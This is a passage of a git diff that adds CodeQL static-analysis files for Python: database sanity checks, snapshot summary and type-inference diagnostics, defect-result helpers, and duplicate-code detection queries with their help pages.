e.refersTo(cobj) and cobj.isC()) and + ( + e instanceof Name and e.(Name).getCtx() instanceof Load + or + e instanceof Attribute and e.(Attribute).getCtx() instanceof Load + or + e instanceof ImportMember or + e instanceof ImportExpr + ) +} + +from int yes, int no +where +yes = count(Expr e | want_to_have_definition(e) and exists(getUniqueDefinition(e))) +and +no = count(Expr e | want_to_have_definition(e) and not exists(getUniqueDefinition(e))) +select yes, no, yes*100/(yes+no) + "%" diff --git a/python/ql/src/analysis/Sanity.ql b/python/ql/src/analysis/Sanity.ql new file mode 100644 index 00000000000..113f107ebc9 --- /dev/null +++ b/python/ql/src/analysis/Sanity.ql @@ -0,0 +1,228 @@ +/** + * @name Sanity check + * @description General sanity check to be run on any and all code. Should never produce any results. + * @id py/sanity-check + */ + +import python +import DefinitionTracking + +predicate uniqueness_error(int number, string what, string problem) { + ( + what = "toString" or what = "getLocation" or what = "getNode" or what = "getDefinition" or + what = "getEntryNode" or what = "getOrigin" or what = "getAnInferredType" + ) + and + ( + number = 0 and problem = "no results for " + what + "()" + or + number in [2 .. 10] and problem = number.toString() + " results for " + what + "()" + ) +} + +predicate ast_sanity(string clsname, string problem, string what) { + exists(AstNode a | + clsname = a.getAQlClass() | + uniqueness_error(count(a.toString()), "toString", problem) and what = "at " + a.getLocation().toString() or + uniqueness_error(strictcount(a.getLocation()), "getLocation", problem) and what = a.getLocation().toString() or + not exists(a.getLocation()) and problem = "no location" and what = a.toString() + ) +} + +predicate location_sanity(string clsname, string problem, string what) { + exists(Location l | + clsname = l.getAQlClass() | + uniqueness_error(count(l.toString()), "toString", problem) and what = "at " + l.toString() or + not exists(l.toString()) and problem = "no toString" and + ( + exists(AstNode thing | + thing.getLocation() = l | + what = "a location of a " + thing.getAQlClass() + ) + or + not exists(AstNode thing | thing.getLocation() = l) and + what = "a location" + ) + or + l.getEndLine() < l.getStartLine() and problem = "end line before start line" and what = "at " + l.toString() + or + l.getEndLine() = l.getStartLine() and l.getEndColumn() < l.getStartColumn() and + problem = "end column before start column" and what = "at " + l.toString() + ) +} + +predicate cfg_sanity(string clsname, string problem, string what) { + exists(ControlFlowNode f | + clsname = f.getAQlClass() | + uniqueness_error(count(f.getNode()), "getNode", problem) and what = "at " + f.getLocation().toString() or + not exists(f.getLocation()) and problem = "no location" and what = f.toString() or + uniqueness_error(count(f.(AttrNode).getObject()), "getValue", problem) and what = "at " + f.getLocation().toString() + ) +} + +predicate scope_sanity(string clsname, string problem, string what) { + exists(Scope s | + clsname = s.getAQlClass() | + uniqueness_error(count(s.getEntryNode()), "getEntryNode", problem) and what = "at " + s.getLocation().toString() or + uniqueness_error(count(s.toString()), "toString", problem) and what = "at " + s.getLocation().toString() or + uniqueness_error(strictcount(s.getLocation()), "getLocation", problem) and what = "at " + s.getLocation().toString() or + not exists(s.getLocation()) and problem = "no location" and what = s.toString() + ) +} + +string best_description_builtin_object(Object o) { + o.isBuiltin() and + ( + result = o.toString() + or + not exists(o.toString()) and py_cobjectnames(o, result) + or + not exists(o.toString()) and not py_cobjectnames(o, _) and result = "builtin object of type " + o.getAnInferredType().toString() + or + not exists(o.toString()) and not py_cobjectnames(o, _) and not exists(o.getAnInferredType().toString()) and result = "builtin object" + ) +} + +private predicate introspected_builtin_object(Object o) { + /* Only check objects from the extractor, missing data for objects generated from C source code analysis is OK. + * as it will be ignored if it doesn't match up with the introspected form. */ + py_cobject_sources(o, 0) +} + +predicate builtin_object_sanity(string clsname, string problem, string what) { + exists(Object o | + clsname = o.getAQlClass() and what = best_description_builtin_object(o) and introspected_builtin_object(o) | + not exists(o.getAnInferredType()) and not py_cobjectnames(o, _) and problem = "neither name nor type" + or + uniqueness_error(count(string name | py_cobjectnames(o, name)), "name", problem) + or + not exists(o.getAnInferredType()) and problem = "no results for getAnInferredType" + or + not exists(o.toString()) and problem = "no toString" and + not exists(string name | name.prefix(7) = "_semmle" | py_special_objects(o, name)) and + not o = unknownValue() + ) +} + +predicate source_object_sanity(string clsname, string problem, string what) { + exists(Object o | + clsname = o.getAQlClass() and not o.isBuiltin() | + uniqueness_error(count(o.getOrigin()), "getOrigin", problem) and what = "at " + o.getOrigin().getLocation().toString() + or + not exists(o.getOrigin().getLocation()) and problem = "no location" and what = "??" + or + not exists(o.toString()) and problem = "no toString" and what = "at " + o.getOrigin().getLocation().toString() + or + strictcount(o.toString()) > 1 and problem = "multiple toStrings()" and what = o.toString() + ) +} + +predicate ssa_sanity(string clsname, string problem, string what) { + /* Zero or one definitions of each SSA variable */ + exists(SsaVariable var | + clsname = var.getAQlClass() | + uniqueness_error(strictcount(var.getDefinition()), "getDefinition", problem) and what = var.getId() + ) + or + /* Dominance criterion: Definition *must* dominate *all* uses. */ + exists(SsaVariable var, ControlFlowNode defn, ControlFlowNode use | + defn = var.getDefinition() and use = var.getAUse() | + not defn.strictlyDominates(use) and not defn = use and + /* Phi nodes which share a flow node with a use come *before* the use */ + not (exists(var.getAPhiInput()) and defn = use) and + clsname = var.getAQlClass() and problem = "a definition which does not dominate a use at " + use.getLocation() and what = var.getId() + " at " + var.getLocation() + ) + or + /* Minimality of phi nodes */ + exists(SsaVariable var | + strictcount(var.getAPhiInput()) = 1 and + var.getAPhiInput().getDefinition().getBasicBlock().strictlyDominates(var.getDefinition().getBasicBlock()) + | + clsname = var.getAQlClass() and problem = " a definition which is dominated by the definition of an incoming phi edge." and what = var.getId() + " at " + var.getLocation() + ) +} + +predicate function_object_sanity(string clsname, string problem, string what) { + exists(FunctionObject func | + clsname = func.getAQlClass() | + what = func.getName() and + ( + count(func.descriptiveString()) = 0 and problem = "no descriptiveString()" + or + exists(int c | + c = strictcount(func.descriptiveString()) and c > 1 | + problem = c + "descriptiveString()s" + ) + ) + or + not exists(func.getName()) and what = "?" and problem = "no name" + ) + +} + +predicate multiple_origins_per_object(Object obj) { + not obj.isC() and not obj instanceof ModuleObject and + exists(ControlFlowNode use | strictcount(ControlFlowNode orig | use.refersTo(obj, orig)) > 1) +} + +predicate intermediate_origins(ControlFlowNode use, ControlFlowNode inter, Object obj) { + exists(ControlFlowNode orig | + not inter = orig | + use.refersTo(obj, inter) and + inter.refersTo(obj, orig) and + // It can sometimes happen that two different modules (e.g. cPickle and Pickle) + // have the same attribute, but different origins. + not strictcount(Object val | inter.(AttrNode).getObject().refersTo(val)) > 1 + ) +} + +predicate points_to_sanity(string clsname, string problem, string what) { + exists(Object obj | + multiple_origins_per_object(obj) and clsname = obj.getAQlClass() and + problem = "multiple origins for an object" and what = obj.toString() + ) + or + exists(ControlFlowNode use, ControlFlowNode inter, Object obj | + intermediate_origins(use, inter, obj) and + clsname = use.getAQlClass() and + problem = "has intermediate origin " + inter and + what = use.toString() + ) +} + +predicate jump_to_definition_sanity(string clsname, string problem, string what) { + problem = "multiple (jump-to) definitions" and + exists(Expr use | + strictcount(getUniqueDefinition(use)) > 1 and + clsname = use.getAQlClass() and + what = use.toString() + ) +} + +predicate file_sanity(string clsname, string problem, string what) { + exists(File file, Folder folder | + clsname = file.getAQlClass() and + problem = "has same name as a folder" and + what = file.getName() and + what = folder.getName() + ) or + exists(Container f | + clsname = f.getAQlClass() and + uniqueness_error(count(f.toString()), "toString", problem) and what = "file " + f.getName() + ) +} + +from string clsname, string problem, string what +where +ast_sanity(clsname, problem, what) or +location_sanity(clsname, problem, what)or +scope_sanity(clsname, problem, what) or +cfg_sanity(clsname, problem, what) or +ssa_sanity(clsname, problem, what) or +builtin_object_sanity(clsname, problem, what) or +source_object_sanity(clsname, problem, what) or +function_object_sanity(clsname, problem, what) or +points_to_sanity(clsname, problem, what) or +jump_to_definition_sanity(clsname, problem, what) or +file_sanity(clsname, problem, what) +select clsname + " " + what + " has " + problem diff --git a/python/ql/src/analysis/Summary.ql b/python/ql/src/analysis/Summary.ql new file mode 100644 index 00000000000..ba2fee0b4a8 --- /dev/null +++ b/python/ql/src/analysis/Summary.ql @@ -0,0 +1,38 @@ +/** Summarize a snapshot + */ + +import python + +from string key, string value +where +key = "Extractor version" and py_flags_versioned("extractor.version", value, _) +or +key = "Snapshot build time" and exists(date d | snapshotDate(d) and value = d.toString()) +or +key = "Interpreter version" and +exists(string major, string minor | + py_flags_versioned("version.major", major, _) and + py_flags_versioned("version.minor", minor, _) and + value = major + "." + minor +) +or +key = "Build platform" and +exists(string raw | + py_flags_versioned("sys.platform", raw, _) | + if raw = "win32" then + value = "Windows" + else if raw = "linux2" then + value = "Linux" + else if raw = "darwin" then + value = "OSX" + else + value = raw +) +or +key = "Source location" and sourceLocationPrefix(value) +or +key = "Lines of code (source)" and value = sum(ModuleMetrics m | exists(m.getFile().getRelativePath()) | m.getNumberOfLinesOfCode()).toString() +or +key = "Lines of code (total)" and value = sum(ModuleMetrics m | any() | m.getNumberOfLinesOfCode()).toString() + +select key, value diff --git a/python/ql/src/analysis/TypeHierarchyFailure.qhelp b/python/ql/src/analysis/TypeHierarchyFailure.qhelp new file mode 100644 index 00000000000..ef173a90a98 --- /dev/null +++ b/python/ql/src/analysis/TypeHierarchyFailure.qhelp @@ -0,0 +1,17 @@ + + + +

    In order to analyze uses of a class, all its attributes need to be known. Without the full inheritance hierarchy this is impossible. +This query finds classes where type inference fails and gives some indication as to why that failure occurred. +

    + +

    +This is an informational query only, this query depends on points-to and type inference. +Unlike normal queries it does not indicate any problem with the program being analyzed. +

    + + +
    +
    diff --git a/python/ql/src/analysis/TypeHierarchyFailure.ql b/python/ql/src/analysis/TypeHierarchyFailure.ql new file mode 100644 index 00000000000..8aac3ea236b --- /dev/null +++ b/python/ql/src/analysis/TypeHierarchyFailure.ql @@ -0,0 +1,16 @@ +/** + * @name Inheritance hierarchy cannot be inferred for class + * @description Inability to infer the inheritance hierarchy for a class will impair analysis. + * @id py/failed-inheritance-inference + * @kind problem + * @problem.severity info + * @tags debug + */ + +import python + + +from Class cls, string reason +where +exists(ClassObject c | c.getPyClass() = cls | c.failedInference(reason)) +select cls, "Inference of class hierarchy failed for class '" + cls.getName() + "': " + reason + "." diff --git a/python/ql/src/analysis/TypeInferenceFailure.ql b/python/ql/src/analysis/TypeInferenceFailure.ql new file mode 100644 index 00000000000..1b8237d65a1 --- /dev/null +++ b/python/ql/src/analysis/TypeInferenceFailure.ql @@ -0,0 +1,15 @@ +/** + * @name Type inference fails for 'object' + * @description Type inference fails for 'object' which reduces recall for many queries. + * @kind problem + * @problem.severity info + * @id py/type-inference-failure + * @deprecated + */ +import python + + +from ControlFlowNode f, Object o +where f.refersTo(o) and +not exists(ClassObject c | f.refersTo(o, c, _)) +select o, "Type inference fails for 'object'." \ No newline at end of file diff --git a/python/ql/src/default.qll b/python/ql/src/default.qll new file mode 100644 index 00000000000..99374e13f76 --- /dev/null +++ b/python/ql/src/default.qll @@ -0,0 +1,5 @@ +/** + * WARNING: Use of this module is DEPRECATED. + * All new queries should use `import python`. + */ +import python diff --git a/python/ql/src/external/CodeDuplication.qll b/python/ql/src/external/CodeDuplication.qll new file mode 100644 index 00000000000..7db04663ae0 --- /dev/null +++ b/python/ql/src/external/CodeDuplication.qll @@ -0,0 +1,281 @@ +/** Provides classes for detecting duplicate or similar code. */ + +import python + +/** Gets the relative path of `file`, with backslashes replaced by forward slashes. */ +private +string relativePath(File file) { + result = file.getRelativePath().replaceAll("\\", "/") +} + +/** + * Holds if the `index`-th token of block `copy` is in file `file`, spanning + * column `sc` of line `sl` to column `ec` of line `el`. + * + * For more information, see [LGTM locations](https://lgtm.com/help/ql/locations). + */ +pragma[noinline, nomagic] +private predicate tokenLocation(File file, int sl, int sc, int ec, int el, Copy copy, int index) { + file = copy.sourceFile() and + tokens(copy, index, sl, sc, ec, el) +} + +/** A token block used for detection of duplicate and similar code. */ +class Copy extends @duplication_or_similarity +{ + private + int lastToken() { + result = max(int i | tokens(this, i, _, _, _, _) | i) + } + + /** Gets the index of the token in this block starting at the location `loc`, if any. */ + int tokenStartingAt(Location loc) { + tokenLocation(loc.getFile(), loc.getStartLine(), loc.getStartColumn(), + _, _, this, result) + } + + /** Gets the index of the token in this block ending at the location `loc`, if any. */ + int tokenEndingAt(Location loc) { + tokenLocation(loc.getFile(), _, _, + loc.getEndLine(), loc.getEndColumn(), this, result) + } + + /** Gets the line on which the first token in this block starts. */ + int sourceStartLine() { + tokens(this, 0, result, _, _, _) + } + + /** Gets the column on which the first token in this block starts. */ + int sourceStartColumn() { + tokens(this, 0, _, result, _, _) + } + + /** Gets the line on which the last token in this block ends. */ + int sourceEndLine() { + tokens(this, this.lastToken(), _, _, result, _) + } + + /** Gets the column on which the last token in this block ends. */ + int sourceEndColumn() { + tokens(this, this.lastToken(), _, _, _, result) + } + + /** Gets the number of lines containing at least (part of) one token in this block. */ + int sourceLines() { + result = this.sourceEndLine() + 1 - this.sourceStartLine() + } + + /** Gets an opaque identifier for the equivalence class of this block. */ + int getEquivalenceClass() { + duplicateCode(this, _, result) or similarCode(this, _, result) + } + + /** Gets the source file in which this block appears. */ + File sourceFile() { + exists(string name | + duplicateCode(this, name, _) or similarCode(this, name, _) | + name.replaceAll("\\", "/") = relativePath(result)) + } + + /** + * Holds if this element is at the specified location. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `filepath`. + * For more information, see + * [LGTM locations](https://lgtm.com/help/ql/locations). + */ + predicate hasLocationInfo(string filepath, int startline, int startcolumn, int endline, int endcolumn) { + sourceFile().getName() = filepath and + startline = sourceStartLine() and + startcolumn = sourceStartColumn() and + endline = sourceEndLine() and + endcolumn = sourceEndColumn() + } + + /** Gets a textual representation of this element. */ + string toString() { none() } + + /** + * Gets a block that extends this one, that is, its first token is also + * covered by this block, but they are not the same block. + */ + Copy extendingBlock() { + exists(File file, int sl, int sc, int ec, int el | + tokenLocation(file, sl, sc, ec, el, this, _) and + tokenLocation(file, sl, sc, ec, el, result, 0)) and + this != result + } +} + +/** + * Holds if there is a sequence of `SimilarBlock`s `start1, ..., end1` and another sequence + * `start2, ..., end2` such that each block extends the previous one and corresponding blocks + * have the same equivalence class, with `start` being the equivalence class of `start1` and + * `start2`, and `end` the equivalence class of `end1` and `end2`. + */ +predicate similar_extension(SimilarBlock start1, SimilarBlock start2, SimilarBlock ext1, SimilarBlock ext2, int start, int ext) { + start1.getEquivalenceClass() = start and + start2.getEquivalenceClass() = start and + ext1.getEquivalenceClass() = ext and + ext2.getEquivalenceClass() = ext and + start1 != start2 and + (ext1 = start1 and ext2 = start2 or + similar_extension(start1.extendingBlock(), start2.extendingBlock(), ext1, ext2, _, ext) + ) +} + +/** + * Holds if there is a sequence of `DuplicateBlock`s `start1, ..., end1` and another sequence + * `start2, ..., end2` such that each block extends the previous one and corresponding blocks + * have the same equivalence class, with `start` being the equivalence class of `start1` and + * `start2`, and `end` the equivalence class of `end1` and `end2`. + */ +predicate duplicate_extension(DuplicateBlock start1, DuplicateBlock start2, DuplicateBlock ext1, DuplicateBlock ext2, int start, int ext) { + start1.getEquivalenceClass() = start and + start2.getEquivalenceClass() = start and + ext1.getEquivalenceClass() = ext and + ext2.getEquivalenceClass() = ext and + start1 != start2 and + (ext1 = start1 and ext2 = start2 or + duplicate_extension(start1.extendingBlock(), start2.extendingBlock(), ext1, ext2, _, ext) + ) +} + +/** A block of duplicated code. */ +class DuplicateBlock extends Copy, @duplication +{ + override string toString() { + result = "Duplicate code: " + sourceLines() + " duplicated lines." + } +} + +/** A block of similar code. */ +class SimilarBlock extends Copy, @similarity +{ + override string toString() { + result = "Similar code: " + sourceLines() + " almost duplicated lines." + } +} + +/** + * Holds if `stmt1` and `stmt2` are duplicate statements in function or toplevel `sc1` and `sc2`, + * respectively, where `scope1` and `scope2` are not the same. + */ +predicate duplicateStatement(Scope scope1, Scope scope2, Stmt stmt1, Stmt stmt2) { + exists(int equivstart, int equivend, int first, int last | + scope1.contains(stmt1) and + scope2.contains(stmt2) and + duplicateCoversStatement(equivstart, equivend, first, last, stmt1) and + duplicateCoversStatement(equivstart, equivend, first, last, stmt2) and + stmt1 != stmt2 and scope1 != scope2 + ) +} + +/** + * Holds if statement `stmt` is covered by a sequence of `DuplicateBlock`s, where `first` + * is the index of the token in the first block that starts at the beginning of `stmt`, + * while `last` is the index of the token in the last block that ends at the end of `stmt`, + * and `equivstart` and `equivend` are the equivalence classes of the first and the last + * block, respectively. + */ +private +predicate duplicateCoversStatement(int equivstart, int equivend, int first, int last, Stmt stmt) { + exists(DuplicateBlock b1, DuplicateBlock b2, Location startloc, Location endloc | + stmt.getLocation() = startloc and + stmt.getLastStatement().getLocation() = endloc and + first = b1.tokenStartingAt(startloc) and + last = b2.tokenEndingAt(endloc) and + b1.getEquivalenceClass() = equivstart and + b2.getEquivalenceClass() = equivend and + duplicate_extension(b1, _, b2, _, equivstart, equivend) + ) +} + +/** + * Holds if `sc1` is a function or toplevel with `total` lines, and `scope2` is a function or + * toplevel that has `duplicate` lines in common with `scope1`. + */ +predicate duplicateStatements(Scope scope1, Scope scope2, int duplicate, int total) { + duplicate = strictcount(Stmt stmt | duplicateStatement(scope1, scope2, stmt, _)) and + total = strictcount(Stmt stmt | scope1.contains(stmt)) +} + +/** + * Find pairs of scopes that are identical or almost identical + */ +predicate duplicateScopes(Scope s, Scope other, float percent, string message) { + exists(int total, int duplicate | + duplicateStatements(s, other, duplicate, total) | + percent = 100.0 * duplicate / total and percent >= 80.0 and + if duplicate = total then + message = "All " + total + " statements in " + s.getName() + " are identical in $@." + else + message = duplicate + " out of " + total + " statements in " + s.getName() + " are duplicated in $@." + ) +} + +/** + * Holds if `stmt1` and `stmt2` are similar statements in function or toplevel `scope1` and `scope2`, + * respectively, where `scope1` and `scope2` are not the same. + */ +private predicate similarStatement(Scope scope1, Scope scope2, Stmt stmt1, Stmt stmt2) { + exists(int start, int end, int first, int last | + scope1.contains(stmt1) and + scope2.contains(stmt2) and + similarCoversStatement(start, end, first, last, stmt1) and + similarCoversStatement(start, end, first, last, stmt2) and + stmt1 != stmt2 and scope1 != scope2 + ) +} + +/** + * Holds if statement `stmt` is covered by a sequence of `SimilarBlock`s, where `first` + * is the index of the token in the first block that starts at the beginning of `stmt`, + * while `last` is the index of the token in the last block that ends at the end of `stmt`, + * and `equivstart` and `equivend` are the equivalence classes of the first and the last + * block, respectively. + */ +private predicate similarCoversStatement(int equivstart, int equivend, int first, int last, Stmt stmt) { + exists(SimilarBlock b1, SimilarBlock b2, Location startloc, Location endloc | + stmt.getLocation() = startloc and + stmt.getLastStatement().getLocation() = endloc and + first = b1.tokenStartingAt(startloc) and + last = b2.tokenEndingAt(endloc) and + b1.getEquivalenceClass() = equivstart and + b2.getEquivalenceClass() = equivend and + similar_extension(b1, _, b2, _, equivstart, equivend) + ) +} + +/** + * Holds if `sc1` is a function or toplevel with `total` lines, and `scope2` is a function or + * toplevel that has `similar` similar lines to `scope1`. + */ +private predicate similarStatements(Scope scope1, Scope scope2, int similar, int total) { + similar = strictcount(Stmt stmt | similarStatement(scope1, scope2, stmt, _)) and + total = strictcount(Stmt stmt | scope1.contains(stmt)) +} + +/** + * Find pairs of scopes that are similar + */ +predicate similarScopes(Scope s, Scope other, float percent, string message) { + exists(int total, int similar | + similarStatements(s, other, similar, total) | + percent = 100.0 * similar / total and percent >= 80.0 and + if similar = total then + message = "All statements in " + s.getName() + " are similar in $@." + else + message = similar + " out of " + total + " statements in " + s.getName() + " are similar in $@." + ) +} + +/** + * Holds if the line is acceptable as a duplicate. + * This is true for blocks of import statements. + */ +predicate whitelistedLineForDuplication(File f, int line) { + exists(ImportingStmt i | + i.getLocation().getFile() = f and i.getLocation().getStartLine() = line + ) +} diff --git a/python/ql/src/external/DefectFilter.qll b/python/ql/src/external/DefectFilter.qll new file mode 100644 index 00000000000..9504cd08554 --- /dev/null +++ b/python/ql/src/external/DefectFilter.qll @@ -0,0 +1,67 @@ +/** Provides a class for working with defect query results stored in dashboard databases. */ + +import semmle.python.Files + +/** + * Holds if `id` is the opaque identifier of a result reported by query `queryPath`, + * such that `message` is the associated message and the location of the result spans + * column `startcol` of line `startline` to column `endcol` of line `endline` + * in file `filepath`. + * + * For more information, see [LGTM locations](https://lgtm.com/help/ql/locations). + */ +external predicate defectResults(int id, string queryPath, string filepath, int startline, + int startcol, int endline, int endcol, string message); + +/** + * A defect query result stored in a dashboard database. + */ +class DefectResult extends int { + + DefectResult() { defectResults(this, _, _, _, _, _, _, _) } + + /** Gets the path of the query that reported the result. */ + string getQueryPath() { defectResults(this, result, _, _, _, _, _, _) } + + /** Gets the file in which this query result was reported. */ + File getFile() { + exists(string path | defectResults(this, _, path, _, _, _, _, _) and result.getName() = path) + } + + /** Gets the file path in which this query result was reported. */ + string getFilePath() { defectResults(this, _, result, _, _, _, _, _) } + + /** Gets the line on which the location of this query result starts. */ + int getStartLine() { defectResults(this, _, _, result, _, _, _, _) } + + /** Gets the column on which the location of this query result starts. */ + int getStartColumn() { defectResults(this, _, _, _, result, _, _, _) } + + /** Gets the line on which the location of this query result ends. */ + int getEndLine() { defectResults(this, _, _, _, _, result, _, _) } + + /** Gets the column on which the location of this query result ends. */ + int getEndColumn() { defectResults(this, _, _, _, _, _, result, _) } + + /** Gets the message associated with this query result. */ + string getMessage() { defectResults(this, _, _, _, _, _, _, result) } + + predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) { + defectResults(this, _, path, sl, sc, el, ec, _) + } + + /** Gets the URL corresponding to the location of this query result. */ + string getURL() { + result = "file://" + getFile().getName() + ":" + getStartLine() + ":" + getStartColumn() + ":" + getEndLine() + ":" + getEndColumn() + } + +} + +// crude containment by line number only +predicate contains(Location l, DefectResult res) { + exists(string path, int bl1, int el1, int bl2, int el2 | + l.hasLocationInfo(path, bl1, _, el1, _) + and res.hasLocationInfo(path, bl2, _, el2, _) + and bl1 <= bl2 and el1 >= el2 + ) +} diff --git a/python/ql/src/external/DuplicateBlock.qhelp b/python/ql/src/external/DuplicateBlock.qhelp new file mode 100644 index 00000000000..b1e12aa3ef9 --- /dev/null +++ b/python/ql/src/external/DuplicateBlock.qhelp @@ -0,0 +1,31 @@ + + + + + +

    Blocks of code that are duplicated verbatim in several places in the code are candidates for +refactoring into functions. The severity of this anti-pattern is higher for longer blocks than for short blocks.

    + +
    + +

    Code duplication is undesirable for a range of reasons: The artificially +inflated amount of code hinders comprehension, and ranges of similar but subtly different lines +can mask the real purpose or intention behind a function. There's also a risk of +update anomalies, where only one of several copies of the code is updated to address a defect or +add a feature.

    + +

    In the case of code block duplication, how to address the issue depends on the blocks of code themselves. +It may be possible to extract the block of code into its own function and call that instead of duplicating the code.

    + +
    + + +
  • Elmar Juergens, Florian Deissenboeck, Benjamin Hummel, and Stefan Wagner. 2009. +Do code clones matter? In Proceedings of the 31st International Conference on +Software Engineering (ICSE '09). IEEE Computer Society, Washington, DC, USA, +485-495.
  • + +
    +
    diff --git a/python/ql/src/external/DuplicateBlock.ql b/python/ql/src/external/DuplicateBlock.ql new file mode 100644 index 00000000000..1a892b87900 --- /dev/null +++ b/python/ql/src/external/DuplicateBlock.ql @@ -0,0 +1,33 @@ +/** + * @name Duplicate code block + * @description This block of code is duplicated elsewhere. If possible, the shared code should be refactored so there is only one occurrence left. It may not always be possible to address these issues; other duplicate code checks (such as duplicate function, duplicate class) give subsets of the results with higher confidence. + * @kind problem + * @problem.severity recommendation + * @sub-severity low + * @tags testability + * maintainability + * useless-code + * duplicate-code + * statistical + * non-attributable + * @deprecated + * @precision medium + * @id py/duplicate-block + */ +import CodeDuplication + +predicate sorted_by_location(DuplicateBlock x, DuplicateBlock y) { + if x.sourceFile() = y.sourceFile() then + x.sourceStartLine() < y.sourceStartLine() + else + x.sourceFile().getName() < y.sourceFile().getName() +} + +from DuplicateBlock d, DuplicateBlock other +where d.sourceLines() > 10 and + other.getEquivalenceClass() = d.getEquivalenceClass() and + sorted_by_location(other, d) +select + d, + "Duplicate code: " + d.sourceLines() + " lines are duplicated at " + + other.sourceFile().getShortName() + ":" + other.sourceStartLine().toString() diff --git a/python/ql/src/external/DuplicateFunction.qhelp b/python/ql/src/external/DuplicateFunction.qhelp new file mode 100644 index 00000000000..c7ae7965ace --- /dev/null +++ b/python/ql/src/external/DuplicateFunction.qhelp @@ -0,0 +1,43 @@ + + + + + +

    A function should never be duplicated verbatim in several places in the code. Of course +the severity of this anti-pattern is higher for longer functions than for extremely short +functions of one or two statements, but there are usually better ways of achieving the same +effect.

    + +
    + +

    Code duplication in general is highly undesirable for a range of reasons: The artificially +inflated amount of code hinders comprehension, and ranges of similar but subtly different lines +can mask the real purpose or intention behind a function. There's also an omnipresent risk of +update anomalies, where only one of several copies of the code is updated to address a defect or +add a feature.

    + +

    In the case of function duplication, how to address the issue depends on the functions themselves +and on the precise classes or modules in which the duplication occurs. At its simplest, the duplication can +be addressed by simply removing all but one of the duplicate function definitions and making +callers of the removed functions refer to the (now canonical) single remaining definition +instead.

    + +

    This may not be possible for reasons of accessibility. A common example might +be where two classes implement the same functionality but neither is a subtype of the other, +so it is not possible to inherit a single method definition. In such cases, introducing a +common superclass to share the duplicated code is a viable option. Alternatively, if the methods +don't need access to private object state, they can be moved to a module-level function.

    + + +
    + + +
  • Elmar Juergens, Florian Deissenboeck, Benjamin Hummel, and Stefan Wagner. 2009. +Do code clones matter? In Proceedings of the 31st International Conference on +Software Engineering (ICSE '09). IEEE Computer Society, Washington, DC, USA, +485-495.
  • + +
    +
    diff --git a/python/ql/src/external/DuplicateFunction.ql b/python/ql/src/external/DuplicateFunction.ql new file mode 100644 index 00000000000..ddf587caf68 --- /dev/null +++ b/python/ql/src/external/DuplicateFunction.ql @@ -0,0 +1,31 @@ +/** + * @name Duplicate function + * @description There is another identical implementation of this function. Extract the code to a common file or superclass to improve sharing. + * @kind problem + * @tags testability + * useless-code + * maintainability + * duplicate-code + * statistical + * non-attributable + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/duplicate-function + */ +import python +import CodeDuplication + +predicate relevant(Function m) { + m.getMetrics().getNumberOfLinesOfCode() > 5 +} + +from Function m, Function other, string message, int percent +where duplicateScopes(m, other, percent, message) + and relevant(m) + and percent > 95.0 + and not duplicateScopes(m.getEnclosingModule(), other.getEnclosingModule(), _, _) + and not duplicateScopes(m.getScope(), other.getScope(), _, _) +select m, message, + other, + other.getName() diff --git a/python/ql/src/external/ExternalArtifact.qll b/python/ql/src/external/ExternalArtifact.qll new file mode 100644 index 00000000000..9c2fe6a9b66 --- /dev/null +++ b/python/ql/src/external/ExternalArtifact.qll @@ -0,0 +1,103 @@ +import python + +class ExternalDefect extends @externalDefect { + + string getQueryPath() { + exists(string path | + externalDefects(this, path, _, _, _) and + result = path.replaceAll("\\", "/") + ) + } + + string getMessage() { + externalDefects(this, _, _, result, _) + } + + float getSeverity() { + externalDefects(this, _, _, _, result) + } + + Location getLocation() { + externalDefects(this,_,result,_,_) + } + + string toString() { + result = getQueryPath() + ": " + getLocation() + " - " + getMessage() + } +} + +class ExternalMetric extends @externalMetric { + + string getQueryPath() { + externalMetrics(this, result, _, _) + } + + float getValue() { + externalMetrics(this, _, _, result) + } + + Location getLocation() { + externalMetrics(this,_,result,_) + } + + string toString() { + result = getQueryPath() + ": " + getLocation() + " - " + getValue() + } +} + +class ExternalData extends @externalDataElement { + + string getDataPath() { + externalData(this, result, _, _) + } + + string getQueryPath() { + result = getDataPath().regexpReplaceAll("\\.[^.]*$", ".ql") + } + + int getNumFields() { + result = 1 + max(int i | externalData(this, _, i, _) | i) + } + + string getField(int index) { + externalData(this, _, index, result) + } + + int getFieldAsInt(int index) { + result = getField(index).toInt() + } + + float getFieldAsFloat(int index) { + result = getField(index).toFloat() + } + + date getFieldAsDate(int index) { + result = getField(index).toDate() + } + + string toString() { + result = getQueryPath() + ": " + buildTupleString(0) + } + + private string buildTupleString(int start) { + (start = getNumFields() - 1 and result = getField(start)) + or + (start < getNumFields() - 1 and result = getField(start) + "," + buildTupleString(start+1)) + } + +} + +/** + * External data with a location, and a message, as produced by tools that used to produce QLDs. + */ +class DefectExternalData extends ExternalData { + DefectExternalData() { + this.getField(0).regexpMatch("\\w+://.*:[0-9]+:[0-9]+:[0-9]+:[0-9]+$") and + this.getNumFields() = 2 + } + + string getURL() { result = getField(0) } + + string getMessage() { result = getField(1) } +} + diff --git a/python/ql/src/external/MostlyDuplicateClass.qhelp b/python/ql/src/external/MostlyDuplicateClass.qhelp new file mode 100644 index 00000000000..e7e5a0dc50f --- /dev/null +++ b/python/ql/src/external/MostlyDuplicateClass.qhelp @@ -0,0 +1,31 @@ + + + +

    If two classes share a lot of code then there is a lot of unnecessary code +duplication. This makes it difficult to make changes in future and makes the classes less easy to +read.

    + +
    + +

    While completely duplicated classes are rare, they are usually a sign of a simple oversight. +Usually the required action is to remove all but one of them. A common exception to this rule may +arise from generated code that simply occurs in several places in the source tree; the check can be +adapted to exclude such results.

    + +

    It is far more common to see duplication of many methods between two classes, leaving just a few +that are actually different. Consider such situations carefully. Are the differences deliberate or +a result of an inconsistent update to one of the clones? If the latter, then treating the classes +as completely duplicate and eliminating one (while preserving any corrections or new features that +may have been introduced) is the best course. If the two classes serve different purposes then it +is possible there is a missing level of abstraction. Consider creating a common superclass of the +duplicate classes.

    + +
    + + +
  • E. Juergens, F. Deissenboeck, B. Hummel and S. Wagner, Do Code Clones Matter?, 2009. (available online).
  • + +
    +
